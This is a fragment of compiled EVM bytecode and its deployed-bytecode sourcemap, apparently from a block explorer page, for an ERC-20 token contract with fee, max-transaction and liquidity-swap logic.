10000000000000000604482015260640161086f565b6110bc306001610957565b6013546110d3906001600160a01b03166001610957565b6025805464ff000000ff60a81b191664010000000160a81b179055565b6001600160a01b0383166111525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086f565b6001600160a01b0382166111b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086f565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0384166112785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086f565b6001600160a01b0383166112da5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086f565b5f821161133b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086f565b61134584846116a0565b1561156457602554600160a81b900460ff166113a35760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604482015260640161086f565b601a5460ff161561144e576001600160a01b0384165f908152602c602052604090205460ff1615611410576001600160a01b0383165f908152603160205260409020544390036113f1575f80fd5b6001600160a01b0383165f90815260316020526040902043905561144e565b6001600160a01b0384165f90815260316020526040902054439003611433575f80fd5b6001600160a01b0384165f9081526031602052604090204390555b6026548211156114b15760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161086f565b6014546001600160a01b038481169116148015906114e757506001600160a01b0383165f908152602c602052604090205460ff16155b1561156457602754826114f985610ea8565b61150391906127b8565b11156115645760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b606482015260840161086f565b6001600160a01b0384165f908152602e602052604090205460019060ff16806115a457506001600160a01b0384165f908152602e602052604090205460ff165b156115ac57505f5b6001600160a01b0384165f908152602c602052604090205460ff161561166a57602554600160b81b900460ff161580156115ef5750602554600160c81b900460ff165b801561161357506001600160a01b0385165f908152602e602052604090205460ff16155b801561163757506001600160a01b0384165f908152602e602052604090205460ff16155b1561166a575f61164630610ea8565b9050602354811061166857602454811061165f57506024545b61166881611773565b505b61167685858584611a87565b95945050505050565b5f805f61168a611e08565b90925090506116998183612799565b9250505090565b5f6116b36025546001600160a01b031690565b6001600160a01b0316836001600160a01b0316141580156116e257506025546001600160a01b03838116911614155b801561170657506001600160a01b0382165f9081526030602052604090205460ff16155b801561172a57506001600160a01b0383165f9081526030602052604090205460ff16155b801561174457506015546001600160a01b03838116911614155b801561175857506001600160a01b03821615155b8015610d0357506001600160a01b0383163014159392505050565b6025805460ff60b81b1916600160b81b179055601054600f5461179691906127b8565b15611a77575f6002601054600f546117ae91906127b8565b600f546117bb90856127cb565b6117c59190612799565b6117cf9190612799565b90505f6117dc8284612772565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106118145761181461274a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561186b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061188f91906127e2565b816001815181106118a2576118a261274a565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac947906118e79085905f908690309042906004016127fd565b5f604051808303815f87803b1580156118fe575f80fd5b505af1158015611910573d5f803e3d5ffd5b505050505f6002601054600f5461192791906127b8565b600f5461193490476127cb565b61193e9190612799565b6119489190612799565b90508315611a275760125460155460405163f305d71960e01b8152306004820152602481018790525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156119bd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906119e2919061286e565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f611a328587612772565b1115611a725760175460405147916001600160a01b03169082156108fc029083905f818181858888f19350505050158015611a6f573d5f803e3d5ffd5b50505b505050505b506025805460ff60b81b19169055565b6025545f90600160b01b900460ff16611b1e57611aa48585611f78565b602554600160b01b900460ff16158015611ac35750611ac385856116a0565b15611b1e5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b606482015260840161086f565b5f611b2b86868686612082565b905083611b3787610ea8565b10611dfc5760808101516001600160a01b0387165f908152602a6020526040902054611b639190612772565b6001600160a01b038088165f908152602a602052604080822093909355606084015191881681529190912054611b9991906127b8565b6001600160a01b038087165f908152602a60209081526040808320949094559189168152602f909152205460ff168015611beb57506001600160a01b0385165f908152602f602052604090205460ff16155b15611c30576001600160a01b0386165f908152602b6020526040902054611c13908590612772565b6001600160a01b0387165f908152602b6020526040902055611d67565b6001600160a01b0386165f908152602f602052604090205460ff16158015611c6f57506001600160a01b0385165f908152602f602052604090205460ff165b15611cb55780516001600160a01b0386165f908152602b6020526040902054611c9891906127b8565b6001600160a01b0386165f908152602b6020526040902055611d67565b6001600160a01b0386165f908152602f602052604090205460ff168015611cf357506001600160a01b0385165f908152602f602052604090205460ff165b15611d67576001600160a01b0386165f908152602b6020526040902054611d1b908590612772565b6001600160a01b038088165f908152602b602052604080822093909355835191881681529190912054611d4e91906127b8565b6001600160a01b0386165f908152602b60205260409020555b604081015115611d7f57611d7f86826040015161225e565b5f8160a001511180611d9457505f8160200151115b15611dab57611dab8160a001518260200151612355565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f0151604051611df391815260200190565b60405180910390a35b50600195945050505050565b6021546020545f918291825b601e54811015611f475782602a5f601e8481548110611e3557611e3561274a565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180611e9d575081602b5f601e8481548110611e7757611e7761274a565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b15611eb357602154602054945094505050509091565b602a5f601e8381548110611ec957611ec961274a565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611ef79084612772565b9250602b5f601e8381548110611f0f57611f0f61274a565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611f3d9083612772565b9150600101611e14565b50602054602154611f589190612799565b821015611f6f576021546020549350935050509091565b90939092509050565b602554600160b01b900460ff1615611fde5760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b606482015260840161086f565b611fe882826116a0565b15801561200257506013546001600160a01b038281169116145b15610c33576001600160a01b0382165f908152603060209081526040918290208054600160ff199091168117909155602580544260195563ff0000ff60b01b1916630100000160b01b17905591519182527f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159910160405180910390a15050565b6120b56040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b6120e86040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f6120f3878761237b565b90506120ff81866127cb565b60808301528315612209576001600160a01b0386165f908152602c602052604090205460ff1615612140576006545f55600754600155600854600255612188565b6001600160a01b0387165f908152602c602052604090205460ff1615612176576003545f55600454600155600554600255612188565b6009545f55600a54600155600b546002555b6011545f5461219790876127cb565b6121a19190612799565b60208301526011546002546001546121b991906127b8565b6121c390876127cb565b6121cd9190612799565b6040830181905260208301516121e391906127b8565b6121ed9086612772565b825260208201516121ff9082906127cb565b60a0830152612221565b5f602083018190526040830181905285835260a08301525b80826040015161223191906127cb565b8260a0015161224091906127b8565b826080015161224f9190612772565b60608301525095945050505050565b5f61226761167f565b6013549091505f906001600160a01b0390811690851603612288575f61228c565b601f545b90505f8261229a8386612772565b6122a491906127cb565b305f908152602a60205260409020549091506122c19082906127b8565b305f908152602a6020908152604080832093909355602f9052205460ff161561230e57305f908152602b60205260409020546122fe9085906127b8565b305f908152602b60205260409020555b60405184815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b816021546123639190612772565b6021556022546123749082906127b8565b6022555050565b5f805f6123888585612397565b90925090506116768183612799565b6021546020545f918291825b601e548110156124d75782602a5f601e84815481106123c4576123c461274a565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061242c575081602b5f601e84815481106124065761240661274a565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b15612443576021546020549450945050505061254c565b602a5f601e83815481106124595761245961274a565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546124879084612772565b9250602b5f601e838154811061249f5761249f61274a565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546124cd9083612772565b91506001016123a3565b506124e186610ea8565b15801561250557506001600160a01b0386165f908152602e602052604090205460ff165b1561251e5761251785876020546110f0565b602054601f555b60205460215461252e9190612799565b8210156125465760215460205493509350505061254c565b90925090505b9250929050565b5f602080835283518060208501525f5b8181101561257f57858101830151858201604001528201612563565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108ae575f80fd5b5f80604083850312156125c4575f80fd5b82356125cf8161259f565b946020939093013593505050565b5f80604083850312156125ee575f80fd5b82356125f98161259f565b91506020830135801515811461260d575f80fd5b809150509250929050565b5f805f6060848603121561262a575f80fd5b83356126358161259f565b925060208401356126458161259f565b929592945050506040919091013590565b5f60208284031215612666575f80fd5b5035919050565b5f805f6060848603121561267f575f80fd5b505081359360208301359350604090920135919050565b5f602082840312156126a6575f80fd5b8135610d038161259f565b5f80604083850312156126c2575f80fd5b82356126cd8161259f565b9150602083013561260d8161259f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061272657607f821691505b60208210810361274457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156109515761095161275e565b634e487b7160e01b5f52603160045260245ffd5b5f826127b357634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156109515761095161275e565b80820281158282048414176109515761095161275e565b5f602082840312156127f2575f80fd5b8151610d038161259f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561284d5784516001600160a01b031683529383019391830191600101612828565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215612880575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220141c81b83a3be3be977f0b3735c8ece704b2ae7a75ab060625eb498bc90e06e664736f6c63430008160033

Deployed Bytecode Sourcemap

5715:19467:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6645:64;;;;;;;;;;-1:-1:-1;6645:64:0;;;;-1:-1:-1;;;;;6645:64:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6645:64:0;;;;;;;;21204:108;;;;;;;;;;;;;:::i;:::-;;10791:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6537:35::-;;;;;;;;;;-1:-1:-1;6537:35:0;;;;-1:-1:-1;;;;;6537:35:0;;;24123:161;;;;;;;;;;-1:-1:-1;24123:161:0;;;;;:::i;:::-;;:::i;:::-;;;1630:14:1;;1623:22;1605:41;;1593:2;1578:18;24123:161:0;1465:187:1;11757:87:0;;;;;;;;;;-1:-1:-1;11826:10:0;;11757:87;;;1803:25:1;;;1791:2;1776:18;11757:87:0;1657:177:1;11992:906:0;;;;;;;;;;-1:-1:-1;11992:906:0;;;;;:::i;:::-;;:::i;5767:30::-;;;;;;;;;;;;;;;;10544:83;;;;;;;;;;-1:-1:-1;10617:7:0;;10544:83;;6108:32;;;;;;;;;;;;;;;;24420:266;;;;;;;;;;-1:-1:-1;24420:266:0;;;;;:::i;:::-;;:::i;13186:250::-;;;;;;;;;;-1:-1:-1;13186:250:0;;;;;:::i;:::-;;:::i;10633:71::-;;;;;;;;;;-1:-1:-1;10692:9:0;;-1:-1:-1;;;10692:9:0;;;;10633:71;;3078:4:1;3066:17;;;3048:36;;3036:2;3021:18;10633:71:0;2906:184:1;6409:34:0;;;;;;;;;;;;;;;;24694:215;;;;;;;;;;-1:-1:-1;24694:215:0;;;;;:::i;:::-;;:::i;5843:28::-;;;;;;;;;;;;;;;;21609:397;;;;;;;;;;-1:-1:-1;21609:397:0;;;;;:::i;:::-;;:::i;6579:21::-;;;;;;;;;;-1:-1:-1;6579:21:0;;;;-1:-1:-1;;;;;6579:21:0;;;6147:38;;;;;;;;;;;;;;;;7516:41;;;;;;;;;;-1:-1:-1;7516:41:0;;;;-1:-1:-1;;;7516:41:0;;;;;;22014:401;;;;;;;;;;-1:-1:-1;22014:401:0;;;;;:::i;:::-;;:::i;7406:36::-;;;;;;;;;;-1:-1:-1;7406:36:0;;;;-1:-1:-1;;;7406:36:0;;;;;;11218:123;;;;;;;;;;-1:-1:-1;11218:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;11306:27:0;11282:4;11306:27;;;:18;:27;;;;;;;;;11218:123;24292:120;;;;;;;;;;-1:-1:-1;24292:120:0;;;;;:::i;:::-;;:::i;6607:31::-;;;;;;;;;;-1:-1:-1;6607:31:0;;;;-1:-1:-1;;;;;6607:31:0;;;6716:64;;;;;;;;;;-1:-1:-1;6716:64:0;;;;-1:-1:-1;;;;;6716:64:0;;;7636:28;;;;;;;;;;;;;;;;11852:132;;;;;;;;;;-1:-1:-1;11852:132:0;;;;;:::i;:::-;;:::i;5804:32::-;;;;;;;;;;;;;;;;11551:198;;;;;;;;;;-1:-1:-1;11551:198:0;;;;;:::i;:::-;;:::i;11349:194::-;;;;;;;;;;;;;:::i;22423:199::-;;;;;;;;;;;;;:::i;6065:36::-;;;;;;;;;;;;;;;;11090:120;;;;;;;;;;-1:-1:-1;11090:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;11182:20:0;11158:4;11182:20;;;:11;:20;;;;;;;;;11090:120;10868:71;;;;;;;;;;;;;:::i;10473:65::-;;;;;;;;;;-1:-1:-1;10529:6:0;;-1:-1:-1;;;;;10529:6:0;10473:65;;6450:31;;;;;;;;;;;;;;;;10710:75;;;;;;;;;;;;;:::i;24917:225::-;;;;;;;;;;-1:-1:-1;24917:225:0;;;;;:::i;:::-;;:::i;23948:167::-;;;;;;;;;;-1:-1:-1;23948:167:0;;;;;:::i;:::-;;:::i;6239:36::-;;;;;;;;;;;;;;;;6024:34;;;;;;;;;;;;;;;;5878:43;;;;;;;;;;;;;;;;5928:47;;;;;;;;;;;;;;;;10945:133;;;;;;;;;;-1:-1:-1;10945:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;11047:19:0;;;11029:7;11047:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10945:133;6192:40;;;;;;;;;;;;;;;;5982:35;;;;;;;;;;;;;;;;7671:30;;;;;;;;;;;;;;;;21320:281;;;;;;;;;;;;;:::i;21204:108::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;;;;;;;;;10529:6;;21256:48:::1;::::0;-1:-1:-1;;;;;10529:6:0;;;;21282:21:::1;21256:48:::0;::::1;;;::::0;::::1;::::0;;;21282:21;10529:6;21256:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21204:108::o:0;10791:71::-;10830:13;10854:5;10847:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10791:71;:::o;24123:161::-;24198:4;24215:39;184:10;24238:7;24247:6;24215:8;:39::i;:::-;-1:-1:-1;24272:4:0;24123:161;;;;;:::o;11992:906::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;12086:15;::::1;;12097:4;12086:15:::0;12082:809:::1;;-1:-1:-1::0;;;;;12127:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;12126:21;12118:62;;;::::0;-1:-1:-1;;;12118:62:0;;5009:2:1;12118:62:0::1;::::0;::::1;4991:21:1::0;5048:2;5028:18;;;5021:30;5087;5067:18;;;5060:58;5135:18;;12118:62:0::1;4807:352:1::0;12118:62:0::1;-1:-1:-1::0;;;;;12198:16:0;::::1;12217:1;12198:16:::0;;;:7:::1;:16;::::0;;;;;:20;12195:116:::1;;-1:-1:-1::0;;;;;12278:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;12258:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;12239:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;12195:116:::1;-1:-1:-1::0;;;;;;12325:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;12325:27:0::1;12348:4;12325:27:::0;;::::1;::::0;;;12367:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;12367:23:0::1;::::0;;::::1;::::0;;11992:906::o;12082:809::-:1;12412:16:::0;::::1;;12423:5;12412:16:::0;12408:483:::1;;-1:-1:-1::0;;;;;12453:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;12445:61;;;::::0;-1:-1:-1;;;12445:61:0;;5366:2:1;12445:61:0::1;::::0;::::1;5348:21:1::0;5405:2;5385:18;;;5378:30;5444;5424:18;;;5417:58;5492:18;;12445:61:0::1;5164:352:1::0;12445:61:0::1;12526:9;12521:359;12545:9;:16:::0;12541:20;::::1;12521:359;;;12607:7;-1:-1:-1::0;;;;;12591:23:0::1;:9;12601:1;12591:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;12591:12:0::1;:23:::0;12587:278:::1;;12654:9;12664:16:::0;;:20:::1;::::0;12683:1:::1;::::0;12664:20:::1;:::i;:::-;12654:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;12639:9:::1;:12:::0;;-1:-1:-1;;;;;12654:31:0;;::::1;::::0;12649:1;;12639:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;12639:46:0::1;-1:-1:-1::0;;;;;12639:46:0;;::::1;;::::0;;12708:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;12751:11:::1;:20:::0;;;;:28;;-1:-1:-1;;12751:28:0::1;::::0;;12802:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;12802:15:0;;;;;-1:-1:-1;;;;;;12802:15:0::1;::::0;;;;;12840:5:::1;;12587:278;12563:3;;12521:359;;;;12408:483;11992:906:::0;;:::o;24420:266::-;24518:4;24535:36;24545:6;24553:9;24564:6;24535:9;:36::i;:::-;-1:-1:-1;;;;;;24613:19:0;;;;;;:11;:19;;;;;;;;184:10;24613:33;;;;;;;;;24582:74;;24591:6;;24613:42;;24649:6;;24613:42;:::i;:::-;24582:8;:74::i;:::-;-1:-1:-1;24674:4:0;24420:266;;;;;:::o;13186:250::-;13252:7;13291;;13280;:18;;13272:73;;;;-1:-1:-1;;;13272:73:0;;6252:2:1;13272:73:0;;;6234:21:1;6291:2;6271:18;;;6264:30;6330:34;6310:18;;;6303:62;-1:-1:-1;;;6381:18:1;;;6374:40;6431:19;;13272:73:0;6050:406:1;13272:73:0;13356:19;13379:10;:8;:10::i;:::-;13356:33;-1:-1:-1;13407:21:0;13356:33;13407:7;:21;:::i;:::-;13400:28;13186:250;-1:-1:-1;;;13186:250:0:o;24694:215::-;184:10;24782:4;24831:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;24831:34:0;;;;;;;;;;24782:4;;24799:80;;24822:7;;24831:47;;24868:10;;24831:47;:::i;21609:397::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;21726:13:::1;;21715:7;:24;;:73;;;;;21773:15;;21760:9;:28;;21715:73;:110;;;;;21816:9;;21809:3;:16;;21715:110;21707:137;;;::::0;::::1;;21892:4;21885:3:::0;21863:19:::1;21873:9:::0;21863:7;:19:::1;:::i;:::-;:25;;;;:::i;:::-;:33;;21855:42;;;::::0;::::1;;21908:14;:24:::0;;;;21943:16:::1;:28:::0;21982:10:::1;:16:::0;21609:397::o;22014:401::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;22132:13:::1;;22121:7;:24;;:73;;;;;22179:15;;22166:9;:28;;22121:73;:110;;;;;22222:9;;22215:3;:16;;22121:110;22113:137;;;::::0;::::1;;22298:4;22291:3:::0;22269:19:::1;22279:9:::0;22269:7;:19:::1;:::i;:::-;:25;;;;:::i;:::-;:33;;22261:42;;;::::0;::::1;;22314:15;:25:::0;;;;22350:17:::1;:29:::0;22390:11:::1;:17:::0;22014:401::o;24292:120::-;24345:4;24369:35;24377:7;-1:-1:-1;;24369:7:0;:35::i;11852:132::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11939:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:37;;-1:-1:-1;;11939:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11852:132::o;11551:198::-;-1:-1:-1;;;;;11641:20:0;;11617:7;11641:20;;;:11;:20;;;;;;;;11637:49;;;-1:-1:-1;;;;;;11670:16:0;;;;;:7;:16;;;;;;;11551:198::o;11637:49::-;-1:-1:-1;;;;;11724:16:0;;;;;;:7;:16;;;;;;11704:37;;:19;:37::i;11349:194::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;11435:6:::1;::::0;11416:33:::1;::::0;-1:-1:-1;;;;;11435:6:0::1;;11416:18;:33::i;:::-;11460:6;:19:::0;;-1:-1:-1;;;;;;11460:19:0::1;::::0;;11495:40:::1;::::0;11477:1:::1;::::0;;;11495:40:::1;::::0;11477:1;;11495:40:::1;11349:194::o:0;22423:199::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;22492:7:::1;::::0;22477:12:::1;:22:::0;;;22510:14:::1;:24:::0;22561:12:::1;::::0;22545:13:::1;:28:::0;;;22584:15:::1;:30:::0;22423:199::o;10868:71::-;10911:7;10929;10529:6;;-1:-1:-1;;;;;10529:6:0;;10473:65;10929:7;10922:14;;10868:71;:::o;10710:75::-;10751:13;10775:7;10768:14;;;;;:::i;24917:225::-;184:10;25010:4;25059:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;25059:34:0;;;;;;;;;;25010:4;;25027:85;;25050:7;;25059:52;;25096:15;;25059:52;:::i;23948:167::-;24026:4;24043:42;184:10;24067:9;24078:6;24043:9;:42::i;21320:281::-;8910:6;;-1:-1:-1;;;;;8910:6:0;184:10;8910:22;8902:67;;;;-1:-1:-1;;;8902:67:0;;;;;;;:::i;:::-;21378:14:::1;::::0;-1:-1:-1;;;21378:14:0;::::1;;;21377:15;21369:52;;;::::0;-1:-1:-1;;;21369:52:0;;7015:2:1;21369:52:0::1;::::0;::::1;6997:21:1::0;7054:2;7034:18;;;7027:30;7093:26;7073:18;;;7066:54;7137:18;;21369:52:0::1;6813:348:1::0;21369:52:0::1;21432:42;21462:4;21469;21432:21;:42::i;:::-;21507:6;::::0;21485:35:::1;::::0;-1:-1:-1;;;;;21507:6:0::1;::::0;21485:21:::1;:35::i;:::-;21533:14;:21:::0;;-1:-1:-1;;;;21565:28:0;-1:-1:-1;;;21565:28:0;;;21320:281::o;13444:342::-;-1:-1:-1;;;;;13539:20:0;;13531:69;;;;-1:-1:-1;;;13531:69:0;;7368:2:1;13531:69:0;;;7350:21:1;7407:2;7387:18;;;7380:30;7446:34;7426:18;;;7419:62;-1:-1:-1;;;7497:18:1;;;7490:34;7541:19;;13531:69:0;7166:400:1;13531:69:0;-1:-1:-1;;;;;13619:21:0;;13611:68;;;;-1:-1:-1;;;13611:68:0;;7773:2:1;13611:68:0;;;7755:21:1;7812:2;7792:18;;;7785:30;7851:34;7831:18;;;7824:62;-1:-1:-1;;;7902:18:1;;;7895:32;7944:19;;13611:68:0;7571:398:1;13611:68:0;-1:-1:-1;;;;;13692:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;13745:33;;1803:25:1;;;13745:33:0;;1776:18:1;13745:33:0;;;;;;;13444:342;;;:::o;13794:1865::-;13873:4;-1:-1:-1;;;;;13898:18:0;;13890:68;;;;-1:-1:-1;;;13890:68:0;;8176:2:1;13890:68:0;;;8158:21:1;8215:2;8195:18;;;8188:30;8254:34;8234:18;;;8227:62;-1:-1:-1;;;8305:18:1;;;8298:35;8350:19;;13890:68:0;7974:401:1;13890:68:0;-1:-1:-1;;;;;13977:16:0;;13969:64;;;;-1:-1:-1;;;13969:64:0;;8582:2:1;13969:64:0;;;8564:21:1;8621:2;8601:18;;;8594:30;8660:34;8640:18;;;8633:62;-1:-1:-1;;;8711:18:1;;;8704:33;8754:19;;13969:64:0;8380:399:1;13969:64:0;14061:1;14052:6;:10;14044:64;;;;-1:-1:-1;;;14044:64:0;;8986:2:1;14044:64:0;;;8968:21:1;9025:2;9005:18;;;8998:30;9064:34;9044:18;;;9037:62;-1:-1:-1;;;9115:18:1;;;9108:39;9164:19;;14044:64:0;8784:405:1;14044:64:0;14122:20;14133:4;14139:2;14122:10;:20::i;:::-;14119:778;;;14163:14;;-1:-1:-1;;;14163:14:0;;;;14159:89;;14198:34;;-1:-1:-1;;;14198:34:0;;9396:2:1;14198:34:0;;;9378:21:1;9435:2;9415:18;;;9408:30;9474:26;9454:18;;;9447:54;9518:18;;14198:34:0;9194:348:1;14159:89:0;14266:15;;;;14262:347;;;-1:-1:-1;;;;;14306:13:0;;;;;;:7;:13;;;;;;;;14302:292;;;-1:-1:-1;;;;;14351:13:0;;;;;;:9;:13;;;;;;14368:12;14351:29;;14343:38;;;;;;-1:-1:-1;;;;;14404:13:0;;;;;;:9;:13;;;;;14420:12;14404:28;;14302:292;;;-1:-1:-1;;;;;14489:15:0;;;;;;:9;:15;;;;;;14508:12;14489:31;;14481:40;;;;;;-1:-1:-1;;;;;14544:15:0;;;;;;:9;:15;;;;;14562:12;14544:30;;14302:292;14641:12;;14631:6;:22;;14623:75;;;;-1:-1:-1;;;14623:75:0;;9749:2:1;14623:75:0;;;9731:21:1;9788:2;9768:18;;;9761:30;9827:34;9807:18;;;9800:62;-1:-1:-1;;;9878:18:1;;;9871:38;9926:19;;14623:75:0;9547:404:1;14623:75:0;14722:16;;-1:-1:-1;;;;;14716:22:0;;;14722:16;;14716:22;;;;:38;;-1:-1:-1;;;;;;14743:11:0;;;;;;:7;:11;;;;;;;;14742:12;14716:38;14713:173;;;14809:14;;14799:6;14783:13;14793:2;14783:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;14775:95;;;;-1:-1:-1;;;14775:95:0;;10158:2:1;14775:95:0;;;10140:21:1;10197:2;10177:18;;;10170:30;10236:34;10216:18;;;10209:62;-1:-1:-1;;;10287:18:1;;;10280:40;10337:19;;14775:95:0;9956:406:1;14775:95:0;-1:-1:-1;;;;;14940:24:0;;14907:12;14940:24;;;:18;:24;;;;;;14922:4;;14940:24;;;:50;;-1:-1:-1;;;;;;14968:22:0;;;;;;:18;:22;;;;;;;;14940:50;14937:96;;;-1:-1:-1;15016:5:0;14937:96;-1:-1:-1;;;;;15049:11:0;;;;;;:7;:11;;;;;;;;15045:547;;;15082:16;;-1:-1:-1;;;15082:16:0;;;;15081:17;:59;;;;-1:-1:-1;15119:21:0;;-1:-1:-1;;;15119:21:0;;;;15081:59;:105;;;;-1:-1:-1;;;;;;15162:24:0;;;;;;:18;:24;;;;;;;;15161:25;15081:105;:149;;;;-1:-1:-1;;;;;;15208:22:0;;;;;;:18;:22;;;;;;;;15207:23;15081:149;15077:498;;;15265:28;15296:24;15314:4;15296:9;:24::i;:::-;15265:55;;15367:13;;15343:20;:37;15339:221;;15432:10;;15408:20;:34;15405:77;;-1:-1:-1;15469:10:0;;15405:77;15504:36;15519:20;15504:14;:36::i;:::-;15246:329;15077:498;15610:41;15625:4;15631:2;15635:6;15643:7;15610:14;:41::i;:::-;15603:48;13794:1865;-1:-1:-1;;;;;13794:1865:0:o;15667:154::-;15709:7;15730:15;15747;15766:12;:10;:12::i;:::-;15729:49;;-1:-1:-1;15729:49:0;-1:-1:-1;15796:17:0;15729:49;;